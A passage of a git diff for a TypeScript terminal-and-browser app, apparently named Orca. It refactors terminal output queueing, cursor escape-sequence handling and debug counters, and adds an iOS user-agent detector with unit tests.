+  // snapshot reads an activated empty group as a terminal pane.
+  const targetGroupId =
+    existingSibling ??
+    (getRuntimeEnvironmentIdForWorktree(state, worktreeId)
       ? state.createEmptySplitGroup(worktreeId, sourceGroupId, 'right', { activate: false })
-      : state.createEmptySplitGroup(worktreeId, sourceGroupId, 'right')
-  }
+      : state.createEmptySplitGroup(worktreeId, sourceGroupId, 'right'))
   if (!targetGroupId) {
     return
   }
 
-  if (environmentId) {
-    reportRemoteFileBrowserOpen(
-      createWebRuntimeSessionBrowserTab({
-        worktreeId,
-        environmentId,
-        url: target.url,
-        clientTargetGroupId: targetGroupId,
-        clientTargetGroupCreated: !existingSibling,
-        focusOnCreate: false,
-        stagedTitle: target.title,
-        stagedFocusAddressBar: false
-      })
-    )
+  if (plan.status === 'doc-preview') {
+    openDocPreviewTab(state, {
+      filePath: params.filePath,
+      worktreeId,
+      targetGroupId,
+      activate: false
+    })
     return
   }
 
-  state.createBrowserTab(worktreeId, target.url, {
-    title: target.title,
+  state.createBrowserTab(worktreeId, plan.url, {
+    title: plan.title,
     targetGroupId,
     activate: true
   })
diff --git a/src/renderer/src/lib/ios-web-platform.test.ts b/src/renderer/src/lib/ios-web-platform.test.ts
new file mode 100644
index 00000000000..e5381b312ce
--- /dev/null
+++ b/src/renderer/src/lib/ios-web-platform.test.ts
@@ -0,0 +1,49 @@
+import { describe, expect, it } from 'vitest'
+import { isIosWebPlatform } from './ios-web-platform'
+
+const IPAD_DESKTOP_MODE_UA =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15'
+const IPAD_MOBILE_MODE_UA =
+  'Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.0.0 Mobile/15E148 Safari/604.1'
+const IPHONE_UA =
+  'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
+const IPOD_UA =
+  'Mozilla/5.0 (iPod touch; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1'
+const MAC_DESKTOP_UA =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
+const MAC_ELECTRON_UA =
+  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) orca/1.0.0 Chrome/126.0.0.0 Electron/31.0.0 Safari/537.36'
+const WINDOWS_UA =
+  'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
+const ANDROID_UA =
+  'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36'
+
+describe('isIosWebPlatform', () => {
+  it('detects iPadOS desktop mode, which reports Macintosh and omits iPad', () => {
+    expect(isIosWebPlatform(IPAD_DESKTOP_MODE_UA, 5)).toBe(true)
+  })
+
+  it('detects iPad, iPhone and iPod mobile-mode user agents', () => {
+    expect(isIosWebPlatform(IPAD_MOBILE_MODE_UA, 5)).toBe(true)
+    expect(isIosWebPlatform(IPHONE_UA, 5)).toBe(true)
+    expect(isIosWebPlatform(IPOD_UA, 5)).toBe(true)
+  })
+
+  it('detects a mobile-mode iPad even when the touch count is unavailable', () => {
+    expect(isIosWebPlatform(IPAD_MOBILE_MODE_UA, 0)).toBe(true)
+  })
+
+  it('does not claim a Mac browser or the Electron app', () => {
+    expect(isIosWebPlatform(MAC_DESKTOP_UA, 0)).toBe(false)
+    expect(isIosWebPlatform(MAC_ELECTRON_UA, 0)).toBe(false)
+  })
+
+  it('does not claim a Mac whose touch peripheral reports a single point', () => {
+    expect(isIosWebPlatform(MAC_DESKTOP_UA, 1)).toBe(false)
+  })
+
+  it('does not claim Windows, Linux or Android', () => {
+    expect(isIosWebPlatform(WINDOWS_UA, 0)).toBe(false)
+    expect(isIosWebPlatform(ANDROID_UA, 5)).toBe(false)
+  })
+})
diff --git a/src/renderer/src/lib/ios-web-platform.ts b/src/renderer/src/lib/ios-web-platform.ts
new file mode 100644
index 00000000000..7451cff8768
--- /dev/null
+++ b/src/renderer/src/lib/ios-web-platform.ts
@@ -0,0 +1,28 @@
+/**
+ * True when the renderer runs inside iOS/iPadOS WebKit — the web client opened
+ * in a browser on an iPhone or iPad.
+ *
+ * Every iOS and iPadOS user agent contains `Mac`: iPad desktop mode (the
+ * default since iPadOS 13) reports `Macintosh; Intel Mac OS X`, and mobile mode
+ * reports `like Mac OS X`. Desktop mode omits `iPad`, so the touch-point count
+ * is the only signal separating an iPad from a Mac. Both browsers on the
+ * platform are WebKit — iOS bars third-party engines — so this covers Safari,
+ * Chrome and the rest alike.
+ */
+export function isIosWebPlatform(userAgent: string, maxTouchPoints: number): boolean {
+  if (/iPad|iPhone|iPod/.test(userAgent)) {
+    return true
+  }
+  return userAgent.includes('Mac') && maxTouchPoints > 1
+}
+
+/**
+ * Returns true if the current environment is an iOS or iPadOS web client browser.
+ * Safe to invoke in SSR or non-DOM environments where navigator is undefined.
+ */
+export function isCurrentPlatformIosWeb(): boolean {
+  if (typeof navigator === 'undefined') {
+    return false
+  }
+  return isIosWebPlatform(navigator.userAgent, navigator.maxTouchPoints)
+}
diff --git a/src/renderer/src/lib/native-chat-initial-view-mode.test.ts b/src/renderer/src/lib/native-chat-initial-view-mode.test.ts
index e3a7a5b7aad..957e9b62ce2 100644
--- a/src/renderer/src/lib/native-chat-initial-view-mode.test.ts
+++ b/src/renderer/src/lib/native-chat-initial-view-mode.test.ts
@@ -47,15 +47,18 @@ describe('decideInitialAgentTabViewMode', () => {
     ).toBeUndefined()
   })
 
-  it('returns undefined for unsupported agents', () => {
-    expect(
-      decideInitialAgentTabViewMode({
-        experimentalNativeChat: true,
-        openAgentTabsInChatByDefault: true,
-        agent: 'gemini'
-      })
-    ).toBeUndefined()
-  })
+  it.each(['gemini', 'opencode'] as const)(
+    'keeps unsupported agent %s in terminal view',
+    (agent) => {
+      expect(
+        decideInitialAgentTabViewMode({
+          experimentalNativeChat: true,
+          openAgentTabsInChatByDefault: true,
+          agent
+        })
+      ).toBeUndefined()
+    }
+  )
 
   it.each([
     ['local', null],
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts b/src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts
new file mode 100644
index 00000000000..7a27ae1ea15
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/pane-terminal-cursor-sequencing.ts
@@ -0,0 +1,168 @@
+type CursorQueueEntry = {
+  chunks: { data: string }[]
+  chunkIndex: number
+}
+
+export const SYNC_FOREGROUND_FLUSH_CHARS = 256 * 1024
+const CURSOR_SHOW_SEQUENCE = '\x1b[?25h'
+const CURSOR_HIDE_SEQUENCE = '\x1b[?25l'
+const SYNCHRONIZED_OUTPUT_END_SEQUENCE = '\x1b[?2026l'
+
+function findCursorPositionSequenceEnd(
+  data: string,
+  fromIndex: number,
+  toIndex = data.length
+): number {
+  let offset = data.indexOf('\x1b[', fromIndex)
+  while (offset !== -1 && offset < toIndex) {
+    let index = offset + 2
+    while (index < toIndex) {
+      const char = data[index]
+      if (char === 'G' || char === 'H' || char === 'f') {
+        return index + 1
+      }
+      if ((char < '0' || char > '9') && char !== ';') {
+        break
+      }
+      index += 1
+    }
+    offset = data.indexOf('\x1b[', offset + 2)
+  }
+  return -1
+}
+
+export function removeTransientCursorShowSequences(data: string): string {
+  let result = ''
+  let offset = 0
+  let showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE)
+  while (showIndex !== -1) {
+    const nextHideIndex = data.indexOf(
+      CURSOR_HIDE_SEQUENCE,
+      showIndex + CURSOR_SHOW_SEQUENCE.length
+    )
+    const nextPositionEnd = findCursorPositionSequenceEnd(
+      data,
+      showIndex + CURSOR_SHOW_SEQUENCE.length,
+      nextHideIndex === -1 ? data.length : nextHideIndex
+    )
+    if (nextHideIndex === -1) {
+      if (nextPositionEnd === -1) {
+        const synchronizedEndIndex = data.indexOf(
+          SYNCHRONIZED_OUTPUT_END_SEQUENCE,
+          showIndex + CURSOR_SHOW_SEQUENCE.length
+        )
+        if (synchronizedEndIndex === -1) {
+          break
+        }
+        // Why: keep the cursor hidden through the synchronized repaint, restoring it after the frame ends so Windows never paints it in the transient draw position.
+        result += data.slice(offset, showIndex)
+        result += data.slice(
+          showIndex + CURSOR_SHOW_SEQUENCE.length,
+          synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
+        )
+        result += CURSOR_SHOW_SEQUENCE
+        offset = synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
+        showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
+        continue
+      }
+      // Why: Codex can show the cursor before its final synchronized-frame placement. Place first so xterm cannot rasterize the stale cell.
+      result += data.slice(offset, showIndex)
+      result += data.slice(showIndex + CURSOR_SHOW_SEQUENCE.length, nextPositionEnd)
+      result += CURSOR_SHOW_SEQUENCE
+      offset = nextPositionEnd
+      showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
+      continue
+    }
+    result += data.slice(offset, showIndex)
+    offset = showIndex + CURSOR_SHOW_SEQUENCE.length
+    showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
+  }
+  return offset === 0 ? data : result + data.slice(offset)
+}
+
+function containsCursorPositionSequence(data: string): boolean {
+  let offset = data.indexOf('\x1b[')
+  while (offset !== -1) {
+    let index = offset + 2
+    while (index < data.length) {
+      const char = data[index]
+      if (char === 'G' || char === 'H' || char === 'f') {
+        return true
+      }
+      if ((char < '0' || char > '9') && char !== ';') {
+        break
+      }
+      index += 1
+    }
+    offset = data.indexOf('\x1b[', offset + 2)
+  }
+  return false
+}
+
+function containsCursorRestore(data: string): boolean {
+  const hideIndex = data.indexOf(CURSOR_HIDE_SEQUENCE)
+  const showIndex = data.lastIndexOf(CURSOR_SHOW_SEQUENCE)
+  return hideIndex !== -1 && showIndex > hideIndex && containsCursorPositionSequence(data)
+}
+
+export function containsDrainableCursorRestore(data: string): boolean {
+  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
+  if (synchronizedEndIndex === -1) {
+    return containsCursorRestore(data)
+  }
+  return containsCursorRestore(
+    data.slice(synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length)
+  )
+}
+
+export function containsFinalCursorPlacementBeforeSynchronizedEnd(data: string): boolean {
+  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
+  if (synchronizedEndIndex === -1) {
+    return false
+  }
+  const lastShowIndex = data.lastIndexOf(CURSOR_SHOW_SEQUENCE, synchronizedEndIndex)
+  if (lastShowIndex === -1) {
+    return false
+  }
+  const lastHideIndex = data.lastIndexOf(CURSOR_HIDE_SEQUENCE, synchronizedEndIndex)
+  if (lastHideIndex > lastShowIndex) {
+    return false
+  }
+  return (
+    findCursorPositionSequenceEnd(
+      data,
+      lastShowIndex + CURSOR_SHOW_SEQUENCE.length,
+      synchronizedEndIndex
+    ) !== -1
+  )
+}
+
+function previewQueuedData(entry: CursorQueueEntry, limit: number): string {
+  let data = ''
+  for (let index = entry.chunkIndex; index < entry.chunks.length; index += 1) {
+    const chunk = entry.chunks[index]
+    const remaining = limit - data.length
+    if (remaining <= 0) {
+      break
+    }
+    data += chunk.data.slice(0, remaining)
+  }
+  return data
+}
+
+export function coalescedQueuedDataNeedsCursorRestore(entry: CursorQueueEntry): boolean {
+  const data = previewQueuedData(entry, SYNC_FOREGROUND_FLUSH_CHARS)
+  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
+  if (synchronizedEndIndex === -1) {
+    return false
+  }
+  const synchronizedFrame = data.slice(
+    0,
+    synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
+  )
+  return (
+    containsCursorRestore(synchronizedFrame) &&
+    !containsFinalCursorPlacementBeforeSynchronizedEnd(synchronizedFrame) &&
+    !containsDrainableCursorRestore(data)
+  )
+}
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts
new file mode 100644
index 00000000000..0142c3528be
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.ts
@@ -0,0 +1,181 @@
+import { flattenRetainedSlice } from '@/lib/flatten-retained-slice'
+import type {
+  QueueEntry,
+  QueuedWrite,
+  TerminalOutputBeforeWrite,
+  TerminalOutputParsedCallback
+} from './pane-terminal-output-scheduler'
+import { recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure } from './pane-terminal-output-scheduler-debug'
+
+type ForegroundRefreshSyncResolver = () => boolean
+const ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY = (): boolean => true
+
+export function takeQueuedChunk(entry: QueueEntry, limit: number): QueuedWrite | null {
+  let remaining = limit
+  let data = ''
+  let foreground: boolean | null = null
+  let forceForegroundRefresh = false
+  let followupForegroundRefresh = false
+  let shouldRefreshForegroundSynchronously: ForegroundRefreshSyncResolver | null = null
+  let additionalRefreshSyncResolvers: ForegroundRefreshSyncResolver[] | null = null
+  let stripTransientCursorShows = false
+  let beforeWrite: TerminalOutputBeforeWrite | undefined
+  let additionalBeforeWriteCallbacks: TerminalOutputBeforeWrite[] | null = null
+  const parsedCallbacks: TerminalOutputParsedCallback[] = []
+  const ackCredits: (() => void)[] = []
+
+  while (remaining > 0 && entry.chunkIndex < entry.chunks.length) {
+    const chunk = entry.chunks[entry.chunkIndex]
+    if (foreground !== null && chunk.foreground !== foreground) {
+      break
+    }
+    foreground ??= chunk.foreground
+    forceForegroundRefresh ||= chunk.forceForegroundRefresh
+    followupForegroundRefresh ||= chunk.followupForegroundRefresh
+    // Why: one drained write can combine chunks from different renderer states or producers; preserve every forced policy and prep hook.
+    if (chunk.forceForegroundRefresh) {
+      if (shouldRefreshForegroundSynchronously === null) {
+        shouldRefreshForegroundSynchronously = chunk.shouldRefreshForegroundSynchronously
+      } else if (
+        chunk.shouldRefreshForegroundSynchronously !== shouldRefreshForegroundSynchronously &&
+        !additionalRefreshSyncResolvers?.includes(chunk.shouldRefreshForegroundSynchronously)
+      ) {
+        additionalRefreshSyncResolvers ??= []
+        additionalRefreshSyncResolvers.push(chunk.shouldRefreshForegroundSynchronously)
+      }
+    }
+    stripTransientCursorShows ||= chunk.stripTransientCursorShows
+    if (!beforeWrite) {
+      beforeWrite = chunk.beforeWrite
+    } else if (
+      chunk.beforeWrite &&
+      chunk.beforeWrite !== beforeWrite &&
+      !additionalBeforeWriteCallbacks?.includes(chunk.beforeWrite)
+    ) {
+      additionalBeforeWriteCallbacks ??= []
+      additionalBeforeWriteCallbacks.push(chunk.beforeWrite)
+    }
+    if (chunk.data.length <= remaining) {
+      data += chunk.data
+      remaining -= chunk.data.length
+      entry.queuedChars -= chunk.data.length
+      // Clear drained slots before the 64-chunk compaction can release them.
+      entry.chunks[entry.chunkIndex] = {
+        data: '',
+        retainedChars: 0,
+        foreground: chunk.foreground,
+        forceForegroundRefresh: false,
+        followupForegroundRefresh: false,
+        shouldRefreshForegroundSynchronously: ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY,
+        stripTransientCursorShows: false
+      }
+      entry.chunkIndex += 1
+      if (chunk.onParsed) {
+        parsedCallbacks.push(chunk.onParsed)
+      }
+      if (chunk.ackCredit) {
+        ackCredits.push(chunk.ackCredit)
+      }
+      continue
+    }
+
+    data += chunk.data.slice(0, remaining)
+    const residual = chunk.data.slice(remaining)
+    // Geometric flattening bounds retained parents while keeping total copy work linear.
+    const flatten = residual.length * 2 <= chunk.retainedChars
+    entry.chunks[entry.chunkIndex] = {
+      ...chunk,
+      data: flatten ? flattenRetainedSlice(residual) : residual,
+      retainedChars: flatten ? residual.length : chunk.retainedChars
+    }
+    entry.queuedChars -= remaining
+    remaining = 0
+  }
+
+  compactConsumedChunks(entry)
+  if (entry.queuedChars < 0) {
+    entry.queuedChars = 0
+  }
+  recordQueueDebugPressure()
+  return data
+    ? {
+        data,
+        foreground: foreground === true,
+        forceForegroundRefresh,
+        followupForegroundRefresh,
+        shouldRefreshForegroundSynchronously:
+          additionalRefreshSyncResolvers && shouldRefreshForegroundSynchronously
+            ? () =>
+                shouldRefreshForegroundSynchronously() ||
+                additionalRefreshSyncResolvers.some((resolve) => resolve())
+            : (shouldRefreshForegroundSynchronously ?? ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY),
+        stripTransientCursorShows,
+        beforeWrite:
+          additionalBeforeWriteCallbacks && beforeWrite
+            ? (queuedData) => {
+                beforeWrite(queuedData)
+                for (const callback of additionalBeforeWriteCallbacks) {
+                  callback(queuedData)
+                }
+              }
+            : beforeWrite,
+        onParsed:
+          parsedCallbacks.length > 0
+            ? () => {
+                for (const callback of parsedCallbacks) {
+                  callback()
+                }
+              }
+            : undefined,
+        ackCredits
+      }
+    : null
+}
+
+export function compactConsumedChunks(entry: QueueEntry): void {
+  if (entry.chunkIndex === 0) {
+    return
+  }
+  if (entry.chunkIndex === entry.chunks.length) {
+    entry.chunks.length = 0
+    entry.chunkIndex = 0
+    return
+  }
+  if (entry.chunkIndex >= 64) {
+    entry.chunks.splice(0, entry.chunkIndex)
+    entry.chunkIndex = 0
+  }
+}
+
+export function enqueueChunk(
+  entry: QueueEntry,
+  data: string,
+  options?: {
+    foreground?: boolean
+    forceForegroundRefresh?: boolean
+    followupForegroundRefresh?: boolean
+    shouldRefreshForegroundSynchronously?: ForegroundRefreshSyncResolver
+    stripTransientCursorShows?: boolean
+    beforeWrite?: TerminalOutputBeforeWrite
+    onParsed?: TerminalOutputParsedCallback
+    ackCredit?: () => void
+  }
+): void {
+  // Own queued data so producer slices cannot pin larger PTY or restore buffers.
+  const owned = flattenRetainedSlice(data)
+  entry.chunks.push({
+    data: owned,
+    retainedChars: owned.length,
+    foreground: options?.foreground === true,
+    forceForegroundRefresh: options?.forceForegroundRefresh === true,
+    followupForegroundRefresh: options?.followupForegroundRefresh === true,
+    shouldRefreshForegroundSynchronously:
+      options?.shouldRefreshForegroundSynchronously ?? ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY,
+    stripTransientCursorShows: options?.stripTransientCursorShows === true,
+    beforeWrite: options?.beforeWrite,
+    onParsed: options?.onParsed,
+    ackCredit: options?.ackCredit
+  })
+  entry.queuedChars += data.length
+  recordQueueDebugPressure()
+}
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-debug.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-debug.ts
new file mode 100644
index 00000000000..fbe34176f65
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-debug.ts
@@ -0,0 +1,110 @@
+import { e2eConfig } from '@/lib/e2e-config'
+
+type QueueDebugEntry = { queuedChars: number }
+
+// Why the cap is lossy: a backgrounded Chromium document throttles timers while PTYs keep writing, so unbounded hidden scrollback would grow renderer memory until the app crashes.
+type TerminalOutputSchedulerDebugSnapshot = {
+  backgroundEnqueueCount: number
+  deferredForegroundEnqueueCount: number
+  foregroundWriteCount: number
+  backgroundWriteCount: number
+  deferredForegroundWriteCount: number
+  flushWriteCount: number
+  scheduledDrainCount: number
+  queuedTerminalCount: number
+  queuedChars: number
+  peakQueuedTerminalCount: number
+  peakQueuedChars: number
+  peakQueuedCharsByTerminal: number
+  droppedBacklogCount: number
+  drainWrites: number[]
+  drainHighPriority: boolean[]
+}
+
+export const terminalOutputSchedulerDebugEnabled = e2eConfig.exposeStore
+export const terminalOutputSchedulerDebugState: TerminalOutputSchedulerDebugSnapshot = {
+  backgroundEnqueueCount: 0,
+  deferredForegroundEnqueueCount: 0,
+  foregroundWriteCount: 0,
+  backgroundWriteCount: 0,
+  deferredForegroundWriteCount: 0,
+  flushWriteCount: 0,
+  scheduledDrainCount: 0,
+  queuedTerminalCount: 0,
+  queuedChars: 0,
+  peakQueuedTerminalCount: 0,
+  peakQueuedChars: 0,
+  peakQueuedCharsByTerminal: 0,
+  droppedBacklogCount: 0,
+  drainWrites: [],
+  drainHighPriority: []
+}
+
+let readQueueEntries: () => Iterable<QueueDebugEntry> = () => []
+
+export function setTerminalOutputDebugQueueReader(reader: () => Iterable<QueueDebugEntry>): void {
+  readQueueEntries = reader
+}
+
+function resetDebugState(): void {
+  const state = terminalOutputSchedulerDebugState
+  state.backgroundEnqueueCount = 0
+  state.deferredForegroundEnqueueCount = 0
+  state.foregroundWriteCount = 0
+  state.backgroundWriteCount = 0
+  state.deferredForegroundWriteCount = 0
+  state.flushWriteCount = 0
+  state.scheduledDrainCount = 0
+  state.queuedTerminalCount = 0
+  state.queuedChars = 0
+  state.peakQueuedTerminalCount = 0
+  state.peakQueuedChars = 0
+  state.peakQueuedCharsByTerminal = 0
+  state.droppedBacklogCount = 0
+  state.drainWrites = []
+  state.drainHighPriority = []
+}
+
+export function recordTerminalOutputQueueDebugPressure(): void {
+  if (!terminalOutputSchedulerDebugEnabled) {
+    return
+  }
+  let queuedTerminalCount = 0
+  let queuedChars = 0
+  let queuedCharsByTerminal = 0
+  for (const entry of readQueueEntries()) {
+    queuedTerminalCount++
+    queuedChars += entry.queuedChars
+    queuedCharsByTerminal = Math.max(queuedCharsByTerminal, entry.queuedChars)
+  }
+  const state = terminalOutputSchedulerDebugState
+  state.queuedTerminalCount = queuedTerminalCount
+  state.queuedChars = queuedChars
+  state.peakQueuedTerminalCount = Math.max(state.peakQueuedTerminalCount, queuedTerminalCount)
+  state.peakQueuedChars = Math.max(state.peakQueuedChars, queuedChars)
+  state.peakQueuedCharsByTerminal = Math.max(state.peakQueuedCharsByTerminal, queuedCharsByTerminal)
+}
+
+export function exposeTerminalOutputSchedulerDebugApi(): void {
+  if (!terminalOutputSchedulerDebugEnabled || typeof window === 'undefined') {
+    return
+  }
+  // Why: the e2e repro must prove background output used the shared drain, but production must not accumulate diagnostic counters indefinitely.
+  const target = window as unknown as {
+    __terminalOutputSchedulerDebug?: {
+      reset: () => void
+      snapshot: () => TerminalOutputSchedulerDebugSnapshot
+    }
+  }
+  target.__terminalOutputSchedulerDebug ??= {
+    reset: resetDebugState,
+    snapshot: () => {
+      recordTerminalOutputQueueDebugPressure()
+      return {
+        ...terminalOutputSchedulerDebugState,
+        drainWrites: [...terminalOutputSchedulerDebugState.drainWrites],
+        drainHighPriority: [...terminalOutputSchedulerDebugState.drainHighPriority]
+      }
+    }
+  }
+}
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
index 0177692d26e..402b847d421 100644
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
+++ b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler.ts
@@ -1,5 +1,4 @@
 /* oxlint-disable max-lines -- Why: output ordering, foreground settle, queue state, and e2e diagnostics form one state machine; splitting it would make backlog/resume guarantees harder to audit. */
-import { e2eConfig } from '@/lib/e2e-config'
 import {
   discardForegroundRenderSettle,
   writeForegroundTerminalChunk,
@@ -7,7 +6,6 @@ import {
 } from './pane-terminal-foreground-render-settle'
 import { runGuardedWriteCompletionStep } from './xterm-write-callback-guard'
 import { recordRendererCrashBreadcrumb } from '@/lib/crash-breadcrumb-recorder'
-import { flattenRetainedSlice } from '@/lib/flatten-retained-slice'
 import {
   discardInFlightTerminalOutputAckCredits,
   registerTerminalOutputAckCredits
@@ -24,12 +22,26 @@ import {
   TERMINAL_OUTPUT_BACKLOG_MIN_CAP_CHARS,
   terminalOutputBacklogCapChars
 } from '../../../../shared/terminal-scrollback-policy'
+import {
+  coalescedQueuedDataNeedsCursorRestore,
+  containsDrainableCursorRestore,
+  removeTransientCursorShowSequences,
+  SYNC_FOREGROUND_FLUSH_CHARS
+} from './pane-terminal-cursor-sequencing'
+import {
+  exposeTerminalOutputSchedulerDebugApi as exposeDebugApi,
+  recordTerminalOutputQueueDebugPressure as recordQueueDebugPressure,
+  setTerminalOutputDebugQueueReader,
+  terminalOutputSchedulerDebugEnabled as debugEnabled,
+  terminalOutputSchedulerDebugState as debugState
+} from './pane-terminal-output-scheduler-debug'
+import { enqueueChunk, takeQueuedChunk } from './pane-terminal-output-queue-chunks'
 
 type TerminalOutputTarget = ForegroundTerminalOutputTarget
 
-type TerminalOutputBeforeWrite = (data: string) => void
+export type TerminalOutputBeforeWrite = (data: string) => void
 type TerminalBacklogRecoveryRequest = () => boolean
-type TerminalOutputParsedCallback = () => void
+export type TerminalOutputParsedCallback = () => void
 type ForegroundRefreshSyncResolver = () => boolean
 
 type WriteTerminalOutputOptions = {
@@ -62,7 +74,7 @@ type QueueChunk = {
   ackCredit?: () => void
 }
 
-type QueuedWrite = {
+export type QueuedWrite = {
   data: string
   foreground: boolean
   forceForegroundRefresh: boolean
@@ -74,7 +86,7 @@ type QueuedWrite = {
   ackCredits: (() => void)[]
 }
 
-type QueueEntry = {
+export type QueueEntry = {
   terminal: TerminalOutputTarget
   chunks: QueueChunk[]
   chunkIndex: number
@@ -103,7 +115,6 @@ const MAX_WRITES_PER_DRAIN = 2
 const HIGH_PRIORITY_MAX_WRITES_PER_DRAIN = 8
 const DRAIN_TIME_BUDGET_MS = 8
 const LARGE_BACKLOG_CHARS = 512 * 1024
-const SYNC_FOREGROUND_FLUSH_CHARS = 256 * 1024
 // Why mutable: the cap scales with the user's scrollback setting (terminalOutputBacklogCapChars), configured when settings apply; the chunk-count cap stays fixed.
 let maxQueueChars = TERMINAL_OUTPUT_BACKLOG_MIN_CAP_CHARS
 const MAX_BACKGROUND_QUEUE_CHUNKS = 4096
@@ -117,9 +128,6 @@ const FOREGROUND_HOLD_SAFETY_DELAY_MS = 250
 // Why: key repeat can tick every 30-50ms; one frame catches split restores without batching multiple typed-character redraws behind the fallback.
 const LATENCY_SENSITIVE_FOREGROUND_COALESCE_DELAY_MS = 16
 const LATENCY_SENSITIVE_FOREGROUND_HOLD_SAFETY_DELAY_MS = 32
-const CURSOR_SHOW_SEQUENCE = '\x1b[?25h'
-const CURSOR_HIDE_SEQUENCE = '\x1b[?25l'
-const SYNCHRONIZED_OUTPUT_END_SEQUENCE = '\x1b[?2026l'
 // Why: leading CAN aborts any partial escape sequence before the style reset so the backlog warning renders cleanly.
 const BACKGROUND_BACKLOG_WARNING =
   '\x18\x1b[0m\r\n[Orca skipped hidden terminal output because the backlog grew too large.]\r\n'
@@ -129,6 +137,7 @@ const FOREGROUND_BACKLOG_WARNING =
 const ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY = (): boolean => true
 
 const queuedByTerminal = new Map<TerminalOutputTarget, QueueEntry>()
+setTerminalOutputDebugQueueReader(() => queuedByTerminal.values())
 const backlogRecoveryByTerminal = new WeakMap<
   TerminalOutputTarget,
   TerminalBacklogRecoveryRequest
@@ -169,125 +178,6 @@ export function setUseMessageChannelDrainForTesting(value: boolean | null): void
   cancelImmediateDrain()
   useMessageChannelDrain = value ?? (typeof MessageChannel !== 'undefined' && !isVitestEnv())
 }
-const debugEnabled = e2eConfig.exposeStore
-
-// Why the cap is lossy: a backgrounded Chromium document throttles timers while PTYs keep writing, so unbounded hidden scrollback would grow renderer memory until the app crashes.
-
-type TerminalOutputSchedulerDebugSnapshot = {
-  backgroundEnqueueCount: number
-  deferredForegroundEnqueueCount: number
-  foregroundWriteCount: number
-  backgroundWriteCount: number
-  deferredForegroundWriteCount: number
-  flushWriteCount: number
-  scheduledDrainCount: number
-  queuedTerminalCount: number
-  queuedChars: number
-  peakQueuedTerminalCount: number
-  peakQueuedChars: number
-  peakQueuedCharsByTerminal: number
-  droppedBacklogCount: number
-  drainWrites: number[]
-  drainHighPriority: boolean[]
-}
-
-type TerminalOutputSchedulerDebugApi = {
-  reset: () => void
-  snapshot: () => TerminalOutputSchedulerDebugSnapshot
-}
-
-const debugState: TerminalOutputSchedulerDebugSnapshot = {
-  backgroundEnqueueCount: 0,
-  deferredForegroundEnqueueCount: 0,
-  foregroundWriteCount: 0,
-  backgroundWriteCount: 0,
-  deferredForegroundWriteCount: 0,
-  flushWriteCount: 0,
-  scheduledDrainCount: 0,
-  queuedTerminalCount: 0,
-  queuedChars: 0,
-  peakQueuedTerminalCount: 0,
-  peakQueuedChars: 0,
-  peakQueuedCharsByTerminal: 0,
-  droppedBacklogCount: 0,
-  drainWrites: [],
-  drainHighPriority: []
-}
-
-function resetDebugState(): void {
-  debugState.backgroundEnqueueCount = 0
-  debugState.deferredForegroundEnqueueCount = 0
-  debugState.foregroundWriteCount = 0
-  debugState.backgroundWriteCount = 0
-  debugState.deferredForegroundWriteCount = 0
-  debugState.flushWriteCount = 0
-  debugState.scheduledDrainCount = 0
-  debugState.queuedTerminalCount = 0
-  debugState.queuedChars = 0
-  debugState.peakQueuedTerminalCount = 0
-  debugState.peakQueuedChars = 0
-  debugState.peakQueuedCharsByTerminal = 0
-  debugState.droppedBacklogCount = 0
-  debugState.drainWrites = []
-  debugState.drainHighPriority = []
-}
-
-function readQueueDebugSnapshot(): {
-  queuedTerminalCount: number
-  queuedChars: number
-  queuedCharsByTerminal: number
-} {
-  let queuedChars = 0
